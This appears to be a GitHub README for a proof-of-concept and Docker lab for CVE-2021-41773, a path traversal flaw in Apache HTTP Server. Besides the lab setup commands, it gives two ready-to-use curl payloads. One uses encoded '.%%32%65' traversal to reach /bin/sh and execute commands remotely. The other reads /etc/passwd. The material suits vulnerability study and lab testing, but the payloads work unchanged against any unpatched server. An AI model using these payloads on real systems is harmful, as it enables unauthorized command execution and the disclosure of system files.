POC & Lab For CVE-2021-41773# CVE-2021-41773
POC & Lab For CVE-2021-41773
Setup Lab
```
$ git clone https://github.com/0xc4t/CVE-2021-41773
$ cd CVE-2021-41773
$ docker build -t CVE-2021-41773 .
$ docker run --name CVE-2021-41773 -p 81:80 CVE-2021-41773
```
PoC
```
# RCE
curl 'http://localhost:81/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; whoami'
#LFI
curl http://192.168.56.108:81/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
```
Refrence
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
- https://www.hackthebox.com/blog/cve-2021-41773-explained
[4.0K] /data/pocs/706feb5c0b1a69df83deff11b9d0e113683fad2f
├── [ 71] DockerFile
├── [ 20K] httpd.conf
└── [ 603] README.md
0 directories, 3 files